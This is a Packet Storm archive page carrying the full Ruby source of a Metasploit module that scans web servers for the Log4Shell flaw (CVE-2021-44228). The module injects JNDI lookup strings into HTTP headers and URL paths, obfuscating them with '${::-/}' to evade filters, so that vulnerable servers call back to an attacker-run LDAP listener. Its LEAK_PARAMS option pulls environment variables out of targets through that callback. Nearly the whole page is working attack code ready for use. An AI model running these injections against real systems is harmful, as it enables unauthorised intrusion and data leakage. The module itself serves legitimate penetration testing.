what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Log4Shell HTTP Scanner

Log4Shell HTTP Scanner
Posted Sep 1, 2024
Authored by Spencer McIntyre, RageLtMan | Site metasploit.com

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This Metasploit module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This Metasploit module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

tags | exploit, web
advisories | CVE-2021-44228, CVE-2021-45046
SHA-256 | 0c99025a240dc811b182feb7d9c9d3253b1e32fb38ca51be4415745de5402484

Log4Shell HTTP Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Log4Shell
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Log4Shell HTTP Scanner',
'Description' => %q{
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will
trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying
instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include
HTTP headers and the HTTP request path.

Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid,
Apache JSPWiki, Apache OFBiz.
},
'Author' => [
'Spencer McIntyre', # The fun stuff
'RageLtMan <rageltman[at]sempervictus>', # Some plumbing
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'CVE', '2021-45046' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis' ],
[ 'URL', 'https://logging.apache.org/log4j/2.x/security.html' ]
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => []
}
)

register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
OptString.new('LEAK_PARAMS', [ false, 'Additional parameters to leak, separated by the ^ character (e.g., ${env:USER}^${env:PATH})']),
OptPath.new(
'HEADERS_FILE',
[
false,
'File containing headers to check',
File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_headers.txt')
]
),
OptPath.new(
'URIS_FILE',
[
false,
'File containing additional URIs to check',
File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_uris.txt')
]
),
OptInt.new('LDAP_TIMEOUT', [ true, 'Time in seconds to wait to receive LDAP connections', 30 ])
])
end

def log4j_jndi_string(resource = '')
resource = resource.dup
resource << '/${java:os}/${sys:java.vendor}_${sys:java.version}'
# We should add obfuscation to the URL string to scan through lousy "next-gen" firewalls
unless datastore['LEAK_PARAMS'].blank?
resource << '/'
resource << datastore['LEAK_PARAMS']
end
super(resource)
end

#
# Handle incoming requests via service mixin
#
def build_ldap_search_response(msg_id, base_dn)
token, java_os, java_version, uri_parts = base_dn.split('/', 4)
target_info = @mutex.synchronize { @tokens.delete(token) }
if target_info
@mutex.synchronize { @successes << target_info }
details = normalize_uri(target_info[:target_uri]).to_s
details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
details << " (os: #{java_os})" unless java_os.blank?
details << " (java: #{java_version})" unless java_version.blank?
unless uri_parts.blank?
uri_parts = uri_parts.split('^')
leaked = ''
datastore['LEAK_PARAMS'].split('^').each_with_index do |input, idx|
next if input == uri_parts[idx]

leaked << "#{input}=#{uri_parts[idx]} "
end
unless leaked.blank?
details << " (leaked: #{leaked.rstrip})"
vprint_good("Leaked data: #{leaked.rstrip}")
end
end
peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
report_vuln(
host: target_info[:rhost],
port: target_info[:rport],
info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
name: name,
refs: references
)
end

attrs = [ ]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end

def rand_text_alpha_lower_numeric(len, bad = '')
foo = []
foo += ('a'..'z').to_a
foo += ('0'..'9').to_a
Rex::Text.rand_base(len, bad, *foo)
end

def run
validate_configuration!
@mutex = Mutex.new
@mutex.extend(::Rex::Ref)

@tokens = {}
@tokens.extend(::Rex::Ref)

@successes = []
@successes.extend(::Rex::Ref)

begin
start_service
rescue Rex::BindFailed => e
fail_with(Failure::BadConfig, e.to_s)
end

super

print_status("Sleeping #{datastore['LDAP_TIMEOUT']} seconds for any last LDAP connections")
sleep datastore['LDAP_TIMEOUT']

if @successes.empty?
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Vulnerable(details: @successes)
end

def run_host(ip)
# probe the target before continuing
return if send_request_cgi('uri' => normalize_uri(target_uri)).nil?

run_host_uri(ip, normalize_uri(target_uri)) unless target_uri.blank?

return if datastore['URIS_FILE'].blank?

File.open(datastore['URIS_FILE'], 'rb').each_line(chomp: true) do |uri|
next if uri.blank? || uri.start_with?('#')

if uri.include?('${jndi:uri}')
token = rand_text_alpha_lower_numeric(8..32)
jndi = log4j_jndi_string(token)
uri.delete_prefix!('/')
test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi)))
else
run_host_uri(ip, normalize_uri(target_uri, uri))
end
end
end

def run_host_uri(_ip, uri)
# HTTP_HEADER isn't exposed via the datastore but allows other modules to leverage this one to test a specific value
unless datastore['HTTP_HEADER'].blank?
token = rand_text_alpha_lower_numeric(8..32)
test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => log4j_jndi_string(token) })
end

unless datastore['HEADERS_FILE'].blank?
headers_file = File.open(datastore['HEADERS_FILE'], 'rb')
headers_file.each_line(chomp: true) do |header|
next if header.blank? || header.start_with?('#')

token = rand_text_alpha_lower_numeric(8..32)
test(token, uri: uri, headers: { header => log4j_jndi_string(token) })
end
end

token = rand_text_alpha_lower_numeric(8..32)
jndi = log4j_jndi_string(token)
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')), '/'))

token = rand_text_alpha_lower_numeric(8..32)
jndi = log4j_jndi_string(token)
test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/'))))
end

def test(token, uri: nil, headers: nil)
target_info = {
rhost: rhost,
rport: rport,
target_uri: uri,
headers: headers
}
@mutex.synchronize { @tokens[token] = target_info }

send_request_raw(
'uri' => uri,
'method' => datastore['HTTP_METHOD'],
'headers' => headers
)
end

attr_accessor :mutex, :tokens, :successes
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close